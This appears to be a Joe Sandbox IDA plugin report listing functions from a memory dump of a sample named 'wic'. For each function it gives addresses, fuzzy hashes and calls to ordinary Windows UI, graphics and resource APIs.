Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: ArrayDestroyFreeSafeTask
String ID:
API String ID: 3253174383-0
Opcode ID: b14db89f9f73d225b2e4052e4f5dd810c2fbe4de5459e901e0d392b220d6e1d5
Instruction ID: 702847034caf90f57e5a0ced00279a554552d8fb518a56adc3351919bb9f6858
Opcode Fuzzy Hash: b14db89f9f73d225b2e4052e4f5dd810c2fbe4de5459e901e0d392b220d6e1d5
Instruction Fuzzy Hash: 70219031100206EFDF196F68C94CB697B68FF48301F694014E416EB161DB70EE40EF60

Function 008AC732 Relevance: 6.1, APIs: 4, Instructions: 70windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0088562B: GetWindowLongA.USER32(00000000,000000F0), ref: 00885638

GetForegroundWindow.USER32 ref: 008AC75B
GetLastActivePopup.USER32(?), ref: 008AC770
SendMessageA.USER32(?,0000036D,00000040,00000000), ref: 008AC78C
SendMessageA.USER32(?,0000036D,00000004,00000000), ref: 008AC7A8

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: MessageSendWindow$ActiveForegroundLastLongPopup
String ID:
API String ID: 2039223353-0
Opcode ID: 042cfe22ec159b25d81c8910ad24666a78465ff51d570fb7c4f7c73654c32672
Instruction ID: 3075b22b462f5fb9860fa13bea5f3c4831937a1a9381e4f6b8a866fb25e8c8b1
Opcode Fuzzy Hash: 042cfe22ec159b25d81c8910ad24666a78465ff51d570fb7c4f7c73654c32672
Instruction Fuzzy Hash: 2F11293231060067FBA13B7D9C89F3D6659FF85710F044025FA06DB6A1EFA1DD418B12

Function 008AAA18 Relevance: 6.1, APIs: 4, Instructions: 70keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000011), ref: 008AAA2E
GetCursorPos.USER32(?), ref: 008AAA70
SetRectEmpty.USER32(?), ref: 008AAA86
IsRectEmpty.USER32(?), ref: 008AAAB0

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: EmptyRect$CursorState
String ID:
API String ID: 2369637639-0
Opcode ID: c588156c29be65ec86efd99f0fb7907b03022f21a76861bf3b93f184405bfc60
Instruction ID: 9049714283e27c7f6abce184ae0ef2d9ff6eeae3827f0cd758d0aff168815f0c
Opcode Fuzzy Hash: c588156c29be65ec86efd99f0fb7907b03022f21a76861bf3b93f184405bfc60
Instruction Fuzzy Hash: 42211DB1E0021AAFDF15DFA4D985AEEBBB8FB08754F10412AE505E3200DB349E05CBA1

Function 0091EB02 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

BeginDeferWindowPos.USER32(?), ref: 0091EB24
IsWindow.USER32(?), ref: 0091EB3F
DeferWindowPos.USER32(00000000,?,00000000,?,00000000,?,00000000,00000000), ref: 0091EB8F
EndDeferWindowPos.USER32(00000000), ref: 0091EB9A

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Window$Defer$Begin
String ID:
API String ID: 2880567340-0
Opcode ID: 65f5fb5624b994eb0c04e2e107de2c0e3fb9287c3b165ecc1b9dba7a0996359f
Instruction ID: 3e24b6a92e676d4db62a62892fd502d7aba531344b166d794960f717104b16a7
Opcode Fuzzy Hash: 65f5fb5624b994eb0c04e2e107de2c0e3fb9287c3b165ecc1b9dba7a0996359f
Instruction Fuzzy Hash: 82211D71A0421AAFCB11DFA9CC85BBEBBF9FB48300F144469E506E7250DB349E40DBA0

Function 008D0B84 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

LoadImageW.USER32(?,00000000,00000000,00000000,00000000,00003000), ref: 008D0BDD
GetObjectA.GDI32(00000000,00000018,?), ref: 008D0BF1
InvalidateRect.USER32(00000000,00000000,00000001), ref: 008D0C40
UpdateWindow.USER32(00000000), ref: 008D0C49

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: ImageInvalidateLoadObjectRectUpdateWindow
String ID:
API String ID: 3870781972-0
Opcode ID: a9e618a08870448f3d3d7a6e53dd897c83f9d34c73d42d519b66d1aa2a5dcbf6
Instruction ID: 8e6d94f3616401a278908694039929029a7a98615b14208310b27ec452fd074e
Opcode Fuzzy Hash: a9e618a08870448f3d3d7a6e53dd897c83f9d34c73d42d519b66d1aa2a5dcbf6
Instruction Fuzzy Hash: FB219D71524700EFDB20AB79CC89BEBB7E8FF84301F10462EE48696291D774A940DB61

Function 008C086E Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

IsRectEmpty.USER32(?), ref: 008C08B3
PtInRect.USER32(?,?,?), ref: 008C08C4
IsRectEmpty.USER32(?), ref: 008C08D7
PtInRect.USER32(?,?,?), ref: 008C08E8

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Rect$Empty
String ID:
API String ID: 4257549173-0
Opcode ID: f30caa2c6e1f071e82144bd0f76c6985f41afcf3c71fcf497727bd5df272f4e8
Instruction ID: 659fb6687dfcba57c25951aceeb83349eb483393314aa0d36a09740ee82ac87b
Opcode Fuzzy Hash: f30caa2c6e1f071e82144bd0f76c6985f41afcf3c71fcf497727bd5df272f4e8
Instruction Fuzzy Hash: E1115B7120021AFBDB042FB19C84FA9BB69FF48385F108139EA15C6211DB30D954EF95

Function 008CCBB6 Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

GetCursorPos.USER32(00000000), ref: 008CCBCA

Part of subcall function 008CF427: GetWindowRect.USER32(00000000,?), ref: 008CF43B
Part of subcall function 008CF427: GetParent.USER32(00000000), ref: 008CF491
Part of subcall function 008CF427: GetParent.USER32(00000000), ref: 008CF4A5

ScreenToClient.USER32(?,?), ref: 008CCBF2
SetCapture.USER32(?), ref: 008CCC1D
GetWindowRect.USER32(?,?), ref: 008CCC62

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: ParentRectWindow$CaptureClientCursorScreen
String ID:
API String ID: 3234571238-0
Opcode ID: ce8f1573d7199434f5bb730966acda5436396a07f881ba2bee6f2ef023d54304
Instruction ID: 39b105261eca7d471f8a10027648838470a4dae08ca6c1f3f5193bc9655a4c99
Opcode Fuzzy Hash: ce8f1573d7199434f5bb730966acda5436396a07f881ba2bee6f2ef023d54304
Instruction Fuzzy Hash: A9215671610245FFDB099BA8C889BEDBBB9FB48315F004269E809D7250EB75AE51DB80

Function 0086E2AE Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0086E2B5
IsRectEmpty.USER32(?), ref: 0086E2D7

Part of subcall function 008B09AD: __EH_prolog3.LIBCMT ref: 008B09B4
Part of subcall function 008B09AD: CreateCompatibleDC.GDI32(00000000), ref: 008B0A17
Part of subcall function 008B09AD: CreateCompatibleBitmap.GDI32(?,?,?), ref: 008B0A4A
Part of subcall function 008B09AD: SelectObject.GDI32(?,00000000), ref: 008B0A9E

IsRectEmpty.USER32(?), ref: 0086E31B
FillRect.USER32(?,?,-000000A0), ref: 0086E33C

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Rect$CompatibleCreateEmptyH_prolog3$BitmapFillObjectSelect
String ID:
API String ID: 1042983850-0
Opcode ID: 7db83771b824a3213bff0551a225259a00f3601c86bc33133d616ed7cfa09936
Instruction ID: 0895d8a166de5ac14f3607e22631781002cdb89429a5ce423f88d945b1c34ffa
Opcode Fuzzy Hash: 7db83771b824a3213bff0551a225259a00f3601c86bc33133d616ed7cfa09936
Instruction Fuzzy Hash: FE114C7141014AABCF04EFA4CD46EEE3B69FF05314F164119B411EB1A2DB35DA44DF12

Function 008807E9 Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

GetObjectA.GDI32(?,0000000C,?), ref: 00880834
SetBkColor.GDI32(?,?), ref: 0088083E
GetSysColor.USER32(00000008), ref: 0088084E
SetTextColor.GDI32(?,?), ref: 00880856

Part of subcall function 0088819C: GetWindowLongA.USER32(?,000000F0), ref: 008881B7
Part of subcall function 0088819C: GetClassNameA.USER32(?,?,0000000A), ref: 008881CC
Part of subcall function 0088819C: CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,combobox,000000FF), ref: 008881E3

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Color$ClassCompareLongNameObjectStringTextWindow
String ID:
API String ID: 3274569906-0
Opcode ID: 45637453b5a056aae0ab9c1d1c95ce06417e884604dd614480739effb653cdf7
Instruction ID: dd29cc5609381f486557cd4d8045547840371acc8bf1da148604c34427ef7fe5
Opcode Fuzzy Hash: 45637453b5a056aae0ab9c1d1c95ce06417e884604dd614480739effb653cdf7
Instruction Fuzzy Hash: 1701A131A00104AFCB50AFA9CC49ABE73A8FF49710F554424F921D7181CB70EE449BD1

Function 008AA77F Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 008AA7A0
GetWindowRect.USER32(?,?), ref: 008AA7B9
WindowFromPoint.USER32(?,?), ref: 008AA7C5
PtInRect.USER32(?,?,?), ref: 008AA7DD

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: RectWindow$CursorFromPoint
String ID:
API String ID: 3445796726-0
Opcode ID: 631c9501f0c83fd722cf963604bb9836f58e30bd0b4c65fd794e2018db492f9a
Instruction ID: f2d39aecbec73cb959cb44efecf6e79636d8736de9c6dabb552fbe4f92bf3e52
Opcode Fuzzy Hash: 631c9501f0c83fd722cf963604bb9836f58e30bd0b4c65fd794e2018db492f9a
Instruction Fuzzy Hash: 67112EB1E00229AB8F01DFE8D8899AFBBB8FB48750B504156F911E7610D7749E01DBD1

Function 0088033A Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00880349
GetDlgItem.USER32(?,?), ref: 00880367
GetWindowTextLengthA.USER32(00000000), ref: 00880374
GetWindowTextA.USER32(00000000,00000000), ref: 00880388

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: TextWindow$ItemLength_strlen
String ID:
API String ID: 3582222401-0
Opcode ID: aa0a216824372929331c7eea72ef90b50f302c1773b059bc085852e2a3eac34e
Instruction ID: 8ac922800525d8fc66f372c0ce4bc81fc2552db2c8117d8bc30c4b090fa4078a
Opcode Fuzzy Hash: aa0a216824372929331c7eea72ef90b50f302c1773b059bc085852e2a3eac34e
Instruction Fuzzy Hash: 7901A231224910BF8B057B68CC499BEB7AEFF85320710411EF419DB391DF74AD06ABA2

Function 008A25A3 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

InflateRect.USER32(?,00000002,00000002), ref: 008A25E2
InvalidateRect.USER32(?,?,00000001), ref: 008A25F6
UpdateWindow.USER32(?), ref: 008A25FF
SetRectEmpty.USER32(?), ref: 008A2606

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Rect$EmptyInflateInvalidateUpdateWindow
String ID:
API String ID: 3040190709-0
Opcode ID: ede621203328f547c05a33a41e83896bd31bafa7db6645d56229d3a8e7bad46a
Instruction ID: dc1cd1cd95d124a0db631ca28b927a347216abf08fa088829c64d135d19e2985
Opcode Fuzzy Hash: ede621203328f547c05a33a41e83896bd31bafa7db6645d56229d3a8e7bad46a
Instruction Fuzzy Hash: 50016171500209DFD710DF68DC8AF9B7BB8FB89310F110669E556AB1A1D7705A05CB90

Function 008801A3 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,?,000000F0), ref: 008801C7
LoadResource.KERNEL32(?,00000000,?,?,?,?,00876293,?,?,00863252,96528101), ref: 008801D3
LockResource.KERNEL32(00000000,?,?,?,?,00876293,?,?,00863252,96528101), ref: 008801E0
FreeResource.KERNEL32(00000000,00000000,?,?,?,?,?,00876293,?,?,00863252,96528101), ref: 008801FC

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: 14d364125022f1ed7ae99d0c0cfe61ead2f8640dd0be913774afdf3e9c356d13
Instruction ID: 9fd05e0b174d26163bda8e39b8824c6ee3f38b0f383363b341b471801518d66b
Opcode Fuzzy Hash: 14d364125022f1ed7ae99d0c0cfe61ead2f8640dd0be913774afdf3e9c356d13
Instruction Fuzzy Hash: 89F0C236A013147B83626B69DC8CD7EB66CFF84B607158025F905EB251DF70DE049BB0

Function 0095093A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 79COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00950941

Strings

0%d, xrefs: 0095099E
%Tc%Tc, xrefs: 009509C9

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: H_prolog3
String ID: %Tc%Tc$0%d
API String ID: 431132790-1178332888
Opcode ID: 05fd2e9175690e9e09a028c8c7ffb737562b43eed665b42f53eefcfc4fff003b
Instruction ID: 7d885b34ef5581bbbe2bbafdc53b3c6939d751c5e571bef74a4557682a68c689
Opcode Fuzzy Hash: 05fd2e9175690e9e09a028c8c7ffb737562b43eed665b42f53eefcfc4fff003b
Instruction Fuzzy Hash: 4221D871A002199FDF04EB98C896BFEB3B8FF98310F54446AE505F7282D7749905CB92

Function 0089E6B7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0089E6BE
SetRectEmpty.USER32(?), ref: 0089E74D

Strings

Afx:ToolBar, xrefs: 0089E756

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: EmptyH_prolog3_Rect
String ID: Afx:ToolBar
API String ID: 2941628838-177727192
Opcode ID: 2c561a2682c52e043c3e7f877a65f32a652dd12bac111e0630c6e521ef97775f
Instruction ID: 36b31bf1ca658aa64b45d739cd9347442b8f7a3fd5335b46adfb7216f4e6ecad
Opcode Fuzzy Hash: 2c561a2682c52e043c3e7f877a65f32a652dd12bac111e0630c6e521ef97775f
Instruction Fuzzy Hash: A3218D71A106199BCF04EFB8C885AEE7AA4FF08350F04452AF415E7281DB749E50CBA1

Function 0093438B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37registrywindowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00934392
RegisterWindowMessageA.USER32(00000010,00000004,00934100,00000000,00000000,0000005C,0089E5A7,?,00000550), ref: 009343DC

Strings

ToolbarButton%p, xrefs: 009343CA

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: H_prolog3MessageRegisterWindow
String ID: ToolbarButton%p
API String ID: 875023513-899657487
Opcode ID: ed6aeecf81dba87c933546434b0deadef428df87489e11ffdd1bc9c1a96d1f57
Instruction ID: afe1d17a9a3b22cce34dc6a1776a769055895f10c749fe3d49149ce119bb27dc
Opcode Fuzzy Hash: ed6aeecf81dba87c933546434b0deadef428df87489e11ffdd1bc9c1a96d1f57
Instruction Fuzzy Hash: B8F081794005518ACF10FFA8DC06BAE73A4FF01300F010955F560AB2A2DF346A16CB96

Function 009AC671 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 008665A0: InitializeCriticalSectionEx.KERNEL32(?,00000000,00000000,009AC6A0,?,?,?,00861BB8), ref: 008665A5
